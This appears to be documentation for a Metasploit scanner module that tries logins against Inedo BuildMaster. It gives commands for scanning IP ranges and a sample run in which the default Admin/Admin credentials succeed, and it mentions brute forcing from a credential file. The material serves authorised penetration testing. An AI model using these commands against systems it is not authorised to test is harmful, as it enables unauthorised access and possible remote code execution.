Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/buildmaster_login
msf auxiliary(buildmaster_login) > show options
... show and set options ...
msf auxiliary(buildmaster_login) > set RHOSTS ip-range
msf auxiliary(buildmaster_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(buildmaster_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(buildmaster_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(buildmaster_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool. The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
Vulnerable Application
Inedo's Windows installation guide
Verification Steps
- Do:
use auxiliary/scanner/http/buildmaster_login
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do: Set credentials
- Do:
run
- You should see the module attempting to log in.
Scenarios
Attempt to login with the default credentials.
msf > use auxiliary/scanner/http/buildmaster_login
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
RHOSTS => 10.0.0.39
msf auxiliary(buildmaster_login) > run
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(buildmaster_login) >
Brute force with credentials from file.
